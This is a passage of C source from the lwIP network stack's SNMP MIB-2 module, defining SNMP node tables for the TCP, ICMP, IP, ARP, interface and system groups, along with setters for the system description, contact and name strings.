{ 4, SNMP_ASN1_TYPE_INTEGER, SNMP_VARIANT_VALUE_TYPE_U32 } /* tcpListenerProcess */
};
static const struct snmp_table_simple_node tcp_ListenerTable = SNMP_TABLE_CREATE_SIMPLE(20, tcp_ListenerTable_columns, tcp_ListenerTable_get_cell_value, tcp_ListenerTable_get_next_cell_instance_and_value);
/* the following nodes access variables in LWIP stack from SNMP worker thread and must therefore be synced to LWIP (TCPIP) thread */
CREATE_LWIP_SYNC_NODE( 1, tcp_RtoAlgorithm)
CREATE_LWIP_SYNC_NODE( 2, tcp_RtoMin)
CREATE_LWIP_SYNC_NODE( 3, tcp_RtoMax)
CREATE_LWIP_SYNC_NODE( 4, tcp_MaxConn)
CREATE_LWIP_SYNC_NODE( 5, tcp_ActiveOpens)
CREATE_LWIP_SYNC_NODE( 6, tcp_PassiveOpens)
CREATE_LWIP_SYNC_NODE( 7, tcp_AttemptFails)
CREATE_LWIP_SYNC_NODE( 8, tcp_EstabResets)
CREATE_LWIP_SYNC_NODE( 9, tcp_CurrEstab)
CREATE_LWIP_SYNC_NODE(10, tcp_InSegs)
CREATE_LWIP_SYNC_NODE(11, tcp_OutSegs)
CREATE_LWIP_SYNC_NODE(12, tcp_RetransSegs)
#if LWIP_IPV4
CREATE_LWIP_SYNC_NODE(13, tcp_ConnTable)
#endif /* LWIP_IPV4 */
CREATE_LWIP_SYNC_NODE(14, tcp_InErrs)
CREATE_LWIP_SYNC_NODE(15, tcp_OutRsts)
CREATE_LWIP_SYNC_NODE(17, tcp_HCInSegs)
CREATE_LWIP_SYNC_NODE(18, tcp_HCOutSegs)
CREATE_LWIP_SYNC_NODE(19, tcp_ConnectionTable)
CREATE_LWIP_SYNC_NODE(20, tcp_ListenerTable)
static const struct snmp_node* const tcp_nodes[] = {
&SYNC_NODE_NAME(tcp_RtoAlgorithm).node.node,
&SYNC_NODE_NAME(tcp_RtoMin).node.node,
&SYNC_NODE_NAME(tcp_RtoMax).node.node,
&SYNC_NODE_NAME(tcp_MaxConn).node.node,
&SYNC_NODE_NAME(tcp_ActiveOpens).node.node,
&SYNC_NODE_NAME(tcp_PassiveOpens).node.node,
&SYNC_NODE_NAME(tcp_AttemptFails).node.node,
&SYNC_NODE_NAME(tcp_EstabResets).node.node,
&SYNC_NODE_NAME(tcp_CurrEstab).node.node,
&SYNC_NODE_NAME(tcp_InSegs).node.node,
&SYNC_NODE_NAME(tcp_OutSegs).node.node,
&SYNC_NODE_NAME(tcp_RetransSegs).node.node,
#if LWIP_IPV4
&SYNC_NODE_NAME(tcp_ConnTable).node.node,
#endif /* LWIP_IPV4 */
&SYNC_NODE_NAME(tcp_InErrs).node.node,
&SYNC_NODE_NAME(tcp_OutRsts).node.node,
&SYNC_NODE_NAME(tcp_HCInSegs).node.node,
&SYNC_NODE_NAME(tcp_HCOutSegs).node.node,
&SYNC_NODE_NAME(tcp_ConnectionTable).node.node,
&SYNC_NODE_NAME(tcp_ListenerTable).node.node
};
static const struct snmp_tree_node tcp_root = SNMP_CREATE_TREE_NODE(6, tcp_nodes);
#endif /* LWIP_TCP */
/* --- icmp .1.3.6.1.2.1.5 ----------------------------------------------------- */
#if LWIP_ICMP
static u16_t icmp_get_value(const struct snmp_scalar_array_node_def *node, void *value);
static const struct snmp_scalar_array_node_def icmp_nodes[] = {
{ 1, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY},
{ 2, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY},
{ 3, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY},
{ 4, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY},
{ 5, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY},
{ 6, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY},
{ 7, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY},
{ 8, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY},
{ 9, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY},
{10, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY},
{11, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY},
{12, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY},
{13, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY},
{14, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY},
{15, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY},
{16, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY},
{17, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY},
{18, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY},
{19, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY},
{20, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY},
{21, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY},
{22, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY},
{23, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY},
{24, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY},
{25, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY},
{26, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY}
};
static const struct snmp_scalar_array_node icmp_root = SNMP_SCALAR_CREATE_ARRAY_NODE(5, icmp_nodes, icmp_get_value, NULL, NULL);
#endif /* LWIP_ICMP */
#if LWIP_IPV4
/* --- ip .1.3.6.1.2.1.4 ----------------------------------------------------- */
static u16_t ip_get_value(struct snmp_node_instance* instance, void* value);
static snmp_err_t ip_set_test(struct snmp_node_instance* instance, u16_t len, void *value);
static snmp_err_t ip_set_value(struct snmp_node_instance* instance, u16_t len, void *value);
static snmp_err_t ip_AddrTable_get_cell_value(const u32_t* column, const u32_t* row_oid, u8_t row_oid_len, union snmp_variant_value* value, u32_t* value_len);
static snmp_err_t ip_AddrTable_get_next_cell_instance_and_value(const u32_t* column, struct snmp_obj_id* row_oid, union snmp_variant_value* value, u32_t* value_len);
static snmp_err_t ip_RouteTable_get_cell_value(const u32_t* column, const u32_t* row_oid, u8_t row_oid_len, union snmp_variant_value* value, u32_t* value_len);
static snmp_err_t ip_RouteTable_get_next_cell_instance_and_value(const u32_t* column, struct snmp_obj_id* row_oid, union snmp_variant_value* value, u32_t* value_len);
static snmp_err_t ip_NetToMediaTable_get_cell_value(const u32_t* column, const u32_t* row_oid, u8_t row_oid_len, union snmp_variant_value* value, u32_t* value_len);
static snmp_err_t ip_NetToMediaTable_get_next_cell_instance_and_value(const u32_t* column, struct snmp_obj_id* row_oid, union snmp_variant_value* value, u32_t* value_len);
static const struct snmp_scalar_node ip_Forwarding = SNMP_SCALAR_CREATE_NODE(1, SNMP_NODE_INSTANCE_READ_WRITE, SNMP_ASN1_TYPE_INTEGER, ip_get_value, ip_set_test, ip_set_value);
static const struct snmp_scalar_node ip_DefaultTTL = SNMP_SCALAR_CREATE_NODE(2, SNMP_NODE_INSTANCE_READ_WRITE, SNMP_ASN1_TYPE_INTEGER, ip_get_value, ip_set_test, ip_set_value);
static const struct snmp_scalar_node ip_InReceives = SNMP_SCALAR_CREATE_NODE_READONLY(3, SNMP_ASN1_TYPE_COUNTER, ip_get_value);
static const struct snmp_scalar_node ip_InHdrErrors = SNMP_SCALAR_CREATE_NODE_READONLY(4, SNMP_ASN1_TYPE_COUNTER, ip_get_value);
static const struct snmp_scalar_node ip_InAddrErrors = SNMP_SCALAR_CREATE_NODE_READONLY(5, SNMP_ASN1_TYPE_COUNTER, ip_get_value);
static const struct snmp_scalar_node ip_ForwDatagrams = SNMP_SCALAR_CREATE_NODE_READONLY(6, SNMP_ASN1_TYPE_COUNTER, ip_get_value);
static const struct snmp_scalar_node ip_InUnknownProtos = SNMP_SCALAR_CREATE_NODE_READONLY(7, SNMP_ASN1_TYPE_COUNTER, ip_get_value);
static const struct snmp_scalar_node ip_InDiscards = SNMP_SCALAR_CREATE_NODE_READONLY(8, SNMP_ASN1_TYPE_COUNTER, ip_get_value);
static const struct snmp_scalar_node ip_InDelivers = SNMP_SCALAR_CREATE_NODE_READONLY(9, SNMP_ASN1_TYPE_COUNTER, ip_get_value);
static const struct snmp_scalar_node ip_OutRequests = SNMP_SCALAR_CREATE_NODE_READONLY(10, SNMP_ASN1_TYPE_COUNTER, ip_get_value);
static const struct snmp_scalar_node ip_OutDiscards = SNMP_SCALAR_CREATE_NODE_READONLY(11, SNMP_ASN1_TYPE_COUNTER, ip_get_value);
static const struct snmp_scalar_node ip_OutNoRoutes = SNMP_SCALAR_CREATE_NODE_READONLY(12, SNMP_ASN1_TYPE_COUNTER, ip_get_value);
static const struct snmp_scalar_node ip_ReasmTimeout = SNMP_SCALAR_CREATE_NODE_READONLY(13, SNMP_ASN1_TYPE_INTEGER, ip_get_value);
static const struct snmp_scalar_node ip_ReasmReqds = SNMP_SCALAR_CREATE_NODE_READONLY(14, SNMP_ASN1_TYPE_COUNTER, ip_get_value);
static const struct snmp_scalar_node ip_ReasmOKs = SNMP_SCALAR_CREATE_NODE_READONLY(15, SNMP_ASN1_TYPE_COUNTER, ip_get_value);
static const struct snmp_scalar_node ip_ReasmFails = SNMP_SCALAR_CREATE_NODE_READONLY(16, SNMP_ASN1_TYPE_COUNTER, ip_get_value);
static const struct snmp_scalar_node ip_FragOKs = SNMP_SCALAR_CREATE_NODE_READONLY(17, SNMP_ASN1_TYPE_COUNTER, ip_get_value);
static const struct snmp_scalar_node ip_FragFails = SNMP_SCALAR_CREATE_NODE_READONLY(18, SNMP_ASN1_TYPE_COUNTER, ip_get_value);
static const struct snmp_scalar_node ip_FragCreates = SNMP_SCALAR_CREATE_NODE_READONLY(19, SNMP_ASN1_TYPE_COUNTER, ip_get_value);
static const struct snmp_scalar_node ip_RoutingDiscards = SNMP_SCALAR_CREATE_NODE_READONLY(23, SNMP_ASN1_TYPE_COUNTER, ip_get_value);
static const struct snmp_table_simple_col_def ip_AddrTable_columns[] = {
{ 1, SNMP_ASN1_TYPE_IPADDR, SNMP_VARIANT_VALUE_TYPE_U32 }, /* ipAdEntAddr */
{ 2, SNMP_ASN1_TYPE_INTEGER, SNMP_VARIANT_VALUE_TYPE_U32 }, /* ipAdEntIfIndex */
{ 3, SNMP_ASN1_TYPE_IPADDR, SNMP_VARIANT_VALUE_TYPE_U32 }, /* ipAdEntNetMask */
{ 4, SNMP_ASN1_TYPE_INTEGER, SNMP_VARIANT_VALUE_TYPE_U32 }, /* ipAdEntBcastAddr */
{ 5, SNMP_ASN1_TYPE_INTEGER, SNMP_VARIANT_VALUE_TYPE_U32 } /* ipAdEntReasmMaxSize */
};
static const struct snmp_table_simple_node ip_AddrTable = SNMP_TABLE_CREATE_SIMPLE(20, ip_AddrTable_columns, ip_AddrTable_get_cell_value, ip_AddrTable_get_next_cell_instance_and_value);
static const struct snmp_table_simple_col_def ip_RouteTable_columns[] = {
{ 1, SNMP_ASN1_TYPE_IPADDR, SNMP_VARIANT_VALUE_TYPE_U32 }, /* ipRouteDest */
{ 2, SNMP_ASN1_TYPE_INTEGER, SNMP_VARIANT_VALUE_TYPE_U32 }, /* ipRouteIfIndex */
{ 3, SNMP_ASN1_TYPE_INTEGER, SNMP_VARIANT_VALUE_TYPE_S32 }, /* ipRouteMetric1 */
{ 4, SNMP_ASN1_TYPE_INTEGER, SNMP_VARIANT_VALUE_TYPE_S32 }, /* ipRouteMetric2 */
{ 5, SNMP_ASN1_TYPE_INTEGER, SNMP_VARIANT_VALUE_TYPE_S32 }, /* ipRouteMetric3 */
{ 6, SNMP_ASN1_TYPE_INTEGER, SNMP_VARIANT_VALUE_TYPE_S32 }, /* ipRouteMetric4 */
{ 7, SNMP_ASN1_TYPE_IPADDR, SNMP_VARIANT_VALUE_TYPE_U32 }, /* ipRouteNextHop */
{ 8, SNMP_ASN1_TYPE_INTEGER, SNMP_VARIANT_VALUE_TYPE_U32 }, /* ipRouteType */
{ 9, SNMP_ASN1_TYPE_INTEGER, SNMP_VARIANT_VALUE_TYPE_U32 }, /* ipRouteProto */
{ 10, SNMP_ASN1_TYPE_INTEGER, SNMP_VARIANT_VALUE_TYPE_U32 }, /* ipRouteAge */
{ 11, SNMP_ASN1_TYPE_IPADDR, SNMP_VARIANT_VALUE_TYPE_U32 }, /* ipRouteMask */
{ 12, SNMP_ASN1_TYPE_INTEGER, SNMP_VARIANT_VALUE_TYPE_S32 }, /* ipRouteMetric5 */
{ 13, SNMP_ASN1_TYPE_OBJECT_ID, SNMP_VARIANT_VALUE_TYPE_PTR } /* ipRouteInfo */
};
static const struct snmp_table_simple_node ip_RouteTable = SNMP_TABLE_CREATE_SIMPLE(21, ip_RouteTable_columns, ip_RouteTable_get_cell_value, ip_RouteTable_get_next_cell_instance_and_value);
#endif /* LWIP_IPV4 */
#if LWIP_ARP && LWIP_IPV4
static const struct snmp_table_simple_col_def ip_NetToMediaTable_columns[] = {
{ 1, SNMP_ASN1_TYPE_INTEGER, SNMP_VARIANT_VALUE_TYPE_U32 }, /* ipNetToMediaIfIndex */
{ 2, SNMP_ASN1_TYPE_OCTET_STRING, SNMP_VARIANT_VALUE_TYPE_PTR }, /* ipNetToMediaPhysAddress */
{ 3, SNMP_ASN1_TYPE_IPADDR, SNMP_VARIANT_VALUE_TYPE_U32 }, /* ipNetToMediaNetAddress */
{ 4, SNMP_ASN1_TYPE_INTEGER, SNMP_VARIANT_VALUE_TYPE_U32 } /* ipNetToMediaType */
};
static const struct snmp_table_simple_node ip_NetToMediaTable = SNMP_TABLE_CREATE_SIMPLE(22, ip_NetToMediaTable_columns, ip_NetToMediaTable_get_cell_value, ip_NetToMediaTable_get_next_cell_instance_and_value);
#endif /* LWIP_ARP && LWIP_IPV4 */
#if LWIP_IPV4
/* the following nodes access variables in LWIP stack from SNMP worker thread and must therefore be synced to LWIP (TCPIP) thread */
CREATE_LWIP_SYNC_NODE( 1, ip_Forwarding)
CREATE_LWIP_SYNC_NODE( 2, ip_DefaultTTL)
CREATE_LWIP_SYNC_NODE( 3, ip_InReceives)
CREATE_LWIP_SYNC_NODE( 4, ip_InHdrErrors)
CREATE_LWIP_SYNC_NODE( 5, ip_InAddrErrors)
CREATE_LWIP_SYNC_NODE( 6, ip_ForwDatagrams)
CREATE_LWIP_SYNC_NODE( 7, ip_InUnknownProtos)
CREATE_LWIP_SYNC_NODE( 8, ip_InDiscards)
CREATE_LWIP_SYNC_NODE( 9, ip_InDelivers)
CREATE_LWIP_SYNC_NODE(10, ip_OutRequests)
CREATE_LWIP_SYNC_NODE(11, ip_OutDiscards)
CREATE_LWIP_SYNC_NODE(12, ip_OutNoRoutes)
CREATE_LWIP_SYNC_NODE(13, ip_ReasmTimeout)
CREATE_LWIP_SYNC_NODE(14, ip_ReasmReqds)
CREATE_LWIP_SYNC_NODE(15, ip_ReasmOKs)
CREATE_LWIP_SYNC_NODE(15, ip_ReasmFails)
CREATE_LWIP_SYNC_NODE(17, ip_FragOKs)
CREATE_LWIP_SYNC_NODE(18, ip_FragFails)
CREATE_LWIP_SYNC_NODE(19, ip_FragCreates)
CREATE_LWIP_SYNC_NODE(20, ip_AddrTable)
CREATE_LWIP_SYNC_NODE(21, ip_RouteTable)
#if LWIP_ARP
CREATE_LWIP_SYNC_NODE(22, ip_NetToMediaTable)
#endif /* LWIP_ARP */
CREATE_LWIP_SYNC_NODE(23, ip_RoutingDiscards)
static const struct snmp_node* const ip_nodes[] = {
&SYNC_NODE_NAME(ip_Forwarding).node.node,
&SYNC_NODE_NAME(ip_DefaultTTL).node.node,
&SYNC_NODE_NAME(ip_InReceives).node.node,
&SYNC_NODE_NAME(ip_InHdrErrors).node.node,
&SYNC_NODE_NAME(ip_InAddrErrors).node.node,
&SYNC_NODE_NAME(ip_ForwDatagrams).node.node,
&SYNC_NODE_NAME(ip_InUnknownProtos).node.node,
&SYNC_NODE_NAME(ip_InDiscards).node.node,
&SYNC_NODE_NAME(ip_InDelivers).node.node,
&SYNC_NODE_NAME(ip_OutRequests).node.node,
&SYNC_NODE_NAME(ip_OutDiscards).node.node,
&SYNC_NODE_NAME(ip_OutNoRoutes).node.node,
&SYNC_NODE_NAME(ip_ReasmTimeout).node.node,
&SYNC_NODE_NAME(ip_ReasmReqds).node.node,
&SYNC_NODE_NAME(ip_ReasmOKs).node.node,
&SYNC_NODE_NAME(ip_ReasmFails).node.node,
&SYNC_NODE_NAME(ip_FragOKs).node.node,
&SYNC_NODE_NAME(ip_FragFails).node.node,
&SYNC_NODE_NAME(ip_FragCreates).node.node,
&SYNC_NODE_NAME(ip_AddrTable).node.node,
&SYNC_NODE_NAME(ip_RouteTable).node.node,
#if LWIP_ARP
&SYNC_NODE_NAME(ip_NetToMediaTable).node.node,
#endif /* LWIP_ARP */
&SYNC_NODE_NAME(ip_RoutingDiscards).node.node
};
static const struct snmp_tree_node ip_root = SNMP_CREATE_TREE_NODE(4, ip_nodes);
#endif /* LWIP_IPV4 */
/* --- at .1.3.6.1.2.1.3 ----------------------------------------------------- */
#if LWIP_ARP && LWIP_IPV4
/* at node table is a subset of ip_nettomedia table (same rows but less columns) */
static const struct snmp_table_simple_col_def at_Table_columns[] = {
{ 1, SNMP_ASN1_TYPE_INTEGER, SNMP_VARIANT_VALUE_TYPE_U32 }, /* atIfIndex */
{ 2, SNMP_ASN1_TYPE_OCTET_STRING, SNMP_VARIANT_VALUE_TYPE_PTR }, /* atPhysAddress */
{ 3, SNMP_ASN1_TYPE_IPADDR, SNMP_VARIANT_VALUE_TYPE_U32 } /* atNetAddress */
};
static const struct snmp_table_simple_node at_Table = SNMP_TABLE_CREATE_SIMPLE(1, at_Table_columns, ip_NetToMediaTable_get_cell_value, ip_NetToMediaTable_get_next_cell_instance_and_value);
/* the following nodes access variables in LWIP stack from SNMP worker thread and must therefore be synced to LWIP (TCPIP) thread */
CREATE_LWIP_SYNC_NODE(1, at_Table)
static const struct snmp_node* const at_nodes[] = {
&SYNC_NODE_NAME(at_Table).node.node
};
static const struct snmp_tree_node at_root = SNMP_CREATE_TREE_NODE(3, at_nodes);
#endif /* LWIP_ARP && LWIP_IPV4 */
/* --- interfaces .1.3.6.1.2.1.2 ----------------------------------------------------- */
static u16_t interfaces_get_value(struct snmp_node_instance* instance, void* value);
static snmp_err_t interfaces_Table_get_cell_instance(const u32_t* column, const u32_t* row_oid, u8_t row_oid_len, struct snmp_node_instance* cell_instance);
static snmp_err_t interfaces_Table_get_next_cell_instance(const u32_t* column, struct snmp_obj_id* row_oid, struct snmp_node_instance* cell_instance);
static u16_t interfaces_Table_get_value(struct snmp_node_instance* instance, void* value);
#if !SNMP_SAFE_REQUESTS
static snmp_err_t interfaces_Table_set_test(struct snmp_node_instance* instance, u16_t len, void *value);
static snmp_err_t interfaces_Table_set_value(struct snmp_node_instance* instance, u16_t len, void *value);
#endif
static const struct snmp_scalar_node interfaces_Number = SNMP_SCALAR_CREATE_NODE_READONLY(1, SNMP_ASN1_TYPE_INTEGER, interfaces_get_value);
static const struct snmp_table_col_def interfaces_Table_columns[] = {
{ 1, SNMP_ASN1_TYPE_INTEGER, SNMP_NODE_INSTANCE_READ_ONLY }, /* ifIndex */
{ 2, SNMP_ASN1_TYPE_OCTET_STRING, SNMP_NODE_INSTANCE_READ_ONLY }, /* ifDescr */
{ 3, SNMP_ASN1_TYPE_INTEGER, SNMP_NODE_INSTANCE_READ_ONLY }, /* ifType */
{ 4, SNMP_ASN1_TYPE_INTEGER, SNMP_NODE_INSTANCE_READ_ONLY }, /* ifMtu */
{ 5, SNMP_ASN1_TYPE_GAUGE, SNMP_NODE_INSTANCE_READ_ONLY }, /* ifSpeed */
{ 6, SNMP_ASN1_TYPE_OCTET_STRING, SNMP_NODE_INSTANCE_READ_ONLY }, /* ifPhysAddress */
#if !SNMP_SAFE_REQUESTS
{ 7, SNMP_ASN1_TYPE_INTEGER, SNMP_NODE_INSTANCE_READ_WRITE }, /* ifAdminStatus */
#else
{ 7, SNMP_ASN1_TYPE_INTEGER, SNMP_NODE_INSTANCE_READ_ONLY }, /* ifAdminStatus */
#endif
{ 8, SNMP_ASN1_TYPE_INTEGER, SNMP_NODE_INSTANCE_READ_ONLY }, /* ifOperStatus */
{ 9, SNMP_ASN1_TYPE_TIMETICKS, SNMP_NODE_INSTANCE_READ_ONLY }, /* ifLastChange */
{ 10, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY }, /* ifInOctets */
{ 11, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY }, /* ifInUcastPkts */
{ 12, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY }, /* ifInNUcastPkts */
{ 13, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY }, /* ifInDiscarts */
{ 14, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY }, /* ifInErrors */
{ 15, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY }, /* ifInUnkownProtos */
{ 16, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY }, /* ifOutOctets */
{ 17, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY }, /* ifOutUcastPkts */
{ 18, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY }, /* ifOutNUcastPkts */
{ 19, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY }, /* ifOutDiscarts */
{ 20, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY }, /* ifOutErrors */
{ 21, SNMP_ASN1_TYPE_GAUGE, SNMP_NODE_INSTANCE_READ_ONLY }, /* ifOutQLen */
{ 22, SNMP_ASN1_TYPE_OBJECT_ID, SNMP_NODE_INSTANCE_READ_ONLY } /* ifSpecific */
};
#if !SNMP_SAFE_REQUESTS
static const struct snmp_table_node interfaces_Table = SNMP_TABLE_CREATE(
2, interfaces_Table_columns,
interfaces_Table_get_cell_instance, interfaces_Table_get_next_cell_instance,
interfaces_Table_get_value, interfaces_Table_set_test, interfaces_Table_set_value);
#else
static const struct snmp_table_node interfaces_Table = SNMP_TABLE_CREATE(
2, interfaces_Table_columns,
interfaces_Table_get_cell_instance, interfaces_Table_get_next_cell_instance,
interfaces_Table_get_value, NULL, NULL);
#endif
/* the following nodes access variables in LWIP stack from SNMP worker thread and must therefore be synced to LWIP (TCPIP) thread */
CREATE_LWIP_SYNC_NODE(1, interfaces_Number)
CREATE_LWIP_SYNC_NODE(2, interfaces_Table)
static const struct snmp_node* const interface_nodes[] = {
&SYNC_NODE_NAME(interfaces_Number).node.node,
&SYNC_NODE_NAME(interfaces_Table).node.node
};
static const struct snmp_tree_node interface_root = SNMP_CREATE_TREE_NODE(2, interface_nodes);
/* --- system .1.3.6.1.2.1.1 ----------------------------------------------------- */
static u16_t system_get_value(const struct snmp_scalar_array_node_def *node, void *value);
static snmp_err_t system_set_test(const struct snmp_scalar_array_node_def *node, u16_t len, void *value);
static snmp_err_t system_set_value(const struct snmp_scalar_array_node_def *node, u16_t len, void *value);
static const struct snmp_scalar_array_node_def system_nodes[] = {
{1, SNMP_ASN1_TYPE_OCTET_STRING, SNMP_NODE_INSTANCE_READ_ONLY}, /* sysDescr */
{2, SNMP_ASN1_TYPE_OBJECT_ID, SNMP_NODE_INSTANCE_READ_ONLY}, /* sysObjectID */
{3, SNMP_ASN1_TYPE_TIMETICKS, SNMP_NODE_INSTANCE_READ_ONLY}, /* sysUpTime */
{4, SNMP_ASN1_TYPE_OCTET_STRING, SNMP_NODE_INSTANCE_READ_WRITE}, /* sysContact */
{5, SNMP_ASN1_TYPE_OCTET_STRING, SNMP_NODE_INSTANCE_READ_WRITE}, /* sysName */
{6, SNMP_ASN1_TYPE_OCTET_STRING, SNMP_NODE_INSTANCE_READ_WRITE}, /* sysLocation */
{7, SNMP_ASN1_TYPE_INTEGER, SNMP_NODE_INSTANCE_READ_ONLY} /* sysServices */
};
static const struct snmp_scalar_array_node system_node = SNMP_SCALAR_CREATE_ARRAY_NODE(1, system_nodes, system_get_value, system_set_test, system_set_value);
/* --- mib-2 .1.3.6.1.2.1 ----------------------------------------------------- */
static const struct snmp_node* const mib2_nodes[] = {
&system_node.node.node,
&interface_root.node,
#if LWIP_ARP && LWIP_IPV4
&at_root.node,
#endif /* LWIP_ARP && LWIP_IPV4 */
#if LWIP_IPV4
&ip_root.node,
#endif /* LWIP_IPV4 */
#if LWIP_ICMP
&icmp_root.node.node,
#endif /* LWIP_ICMP */
#if LWIP_TCP && LWIP_IPV4
&tcp_root.node,
#endif /* LWIP_TCP && LWIP_IPV4 */
#if LWIP_UDP && LWIP_IPV4
&udp_root.node,
#endif /* LWIP_UDP && LWIP_IPV4 */
&snmp_root.node.node
};
static const struct snmp_tree_node mib2_root = SNMP_CREATE_TREE_NODE(1, mib2_nodes);
static const u32_t mib2_base_oid_arr[] = { 1,3,6,1,2,1 };
const struct snmp_mib mib2 = SNMP_MIB_CREATE(mib2_base_oid_arr, &mib2_root.node);
/** mib-2.system.sysDescr */
static const u8_t sysdescr_default[] = SNMP_LWIP_MIB2_SYSDESC;
static const u8_t* sysdescr = sysdescr_default;
static const u16_t* sysdescr_len = NULL; /* use strlen for determining len */
/** mib-2.system.sysContact */
static const u8_t syscontact_default[] = SNMP_LWIP_MIB2_SYSCONTACT;
static const u8_t* syscontact = syscontact_default;
static const u16_t* syscontact_len = NULL; /* use strlen for determining len */
static u8_t* syscontact_wr = NULL; /* if writable, points to the same buffer as syscontact (required for correct constness) */
static u16_t* syscontact_wr_len = NULL; /* if writable, points to the same buffer as syscontact_len (required for correct constness) */
static u16_t syscontact_bufsize = 0; /* 0=not writable */
/** mib-2.system.sysName */
static const u8_t sysname_default[] = SNMP_LWIP_MIB2_SYSNAME;
static const u8_t* sysname = sysname_default;
static const u16_t* sysname_len = NULL; /* use strlen for determining len */
static u8_t* sysname_wr = NULL; /* if writable, points to the same buffer as sysname (required for correct constness) */
static u16_t* sysname_wr_len = NULL; /* if writable, points to the same buffer as sysname_len (required for correct constness) */
static u16_t sysname_bufsize = 0; /* 0=not writable */
/** mib-2.system.sysLocation */
static const u8_t syslocation_default[] = SNMP_LWIP_MIB2_SYSLOCATION;
static const u8_t* syslocation = syslocation_default;
static const u16_t* syslocation_len = NULL; /* use strlen for determining len */
static u8_t* syslocation_wr = NULL; /* if writable, points to the same buffer as syslocation (required for correct constness) */
static u16_t* syslocation_wr_len = NULL; /* if writable, points to the same buffer as syslocation_len (required for correct constness) */
static u16_t syslocation_bufsize = 0; /* 0=not writable */
/**
* Initializes sysDescr pointers.
*
* @param str if non-NULL then copy str pointer
* @param len points to string length, excluding zero terminator
*/
void snmp_mib2_set_sysdescr(const u8_t *str, const u16_t *len)
{
if (str != NULL) {
sysdescr = str;
sysdescr_len = len;
}
}
/**
* Initializes sysContact pointers,
* e.g. ptrs to non-volatile memory external to lwIP.
*
* @param ocstr if non-NULL then copy str pointer
* @param ocstrlen points to string length, excluding zero terminator.
* if set to NULL it is assumed that ocstr is NULL-terminated.
* @param bufsize size of the buffer in bytes.
* (this is required because the buffer can be overwritten by snmp-set)
* if ocstrlen is NULL buffer needs space for terminating 0 byte.
* otherwise complete buffer is used for string.
* if bufsize is set to 0, the value is regarded as read-only.
*/
void snmp_mib2_set_syscontact(u8_t *ocstr, u16_t *ocstrlen, u16_t bufsize)
{
if (ocstr != NULL) {
syscontact = ocstr;
syscontact_wr = ocstr;
syscontact_len = ocstrlen;
syscontact_wr_len = ocstrlen;
syscontact_bufsize = bufsize;
}
}
void snmp_mib2_set_syscontact_readonly(const u8_t *ocstr, const u16_t *ocstrlen)
{
if (ocstr != NULL) {
syscontact = ocstr;
syscontact_len = ocstrlen;
syscontact_wr = NULL;
syscontact_wr_len = NULL;
syscontact_bufsize = 0;
}
}
/**
* Initializes sysName pointers,
* e.g. ptrs to non-volatile memory external to lwIP.
*
* @param ocstr if non-NULL then copy str pointer
* @param ocstrlen points to string length, excluding zero terminator.
* if set to NULL it is assumed that ocstr is NULL-terminated.
* @param bufsize size of the buffer in bytes.
* (this is required because the buffer can be overwritten by snmp-set)
* if ocstrlen is NULL buffer needs space for terminating 0 byte.
* otherwise complete buffer is used for string.
* if bufsize is set to 0, the value is regarded as read-only.
*/
void snmp_mib2_set_sysname(u8_t *ocstr, u16_t *ocstrlen, u16_t bufsize)
{
if (ocstr != NULL) {
sysname = ocstr;
sysname_wr = ocstr;
sysname_len = ocstrlen;
sysname_wr_len = ocstrlen;
sysname_bufsize = bufsize;
}
}
void snmp_mib2_set_sysname_readonly(const u8_t *ocstr, const u16_t *ocstrlen)
{
if (ocstr != NULL) {
sysname = ocstr;
sysname_len = ocstrlen;
sysname_wr = NULL;
sysname_wr_len = NULL;
sysname_bufsize = 0;
}
}
/**
* Initializes sysLocation pointers,
* e.g. ptrs to non-volatile memory external to lwIP.
*
